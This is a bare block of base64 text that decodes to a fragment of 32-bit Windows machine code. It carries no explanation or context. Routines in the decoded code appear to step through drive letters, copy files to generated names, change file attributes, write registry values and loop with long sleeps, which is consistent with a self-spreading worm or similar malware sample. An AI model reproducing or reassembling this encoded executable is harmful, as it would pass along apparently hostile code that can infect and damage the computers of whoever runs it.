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 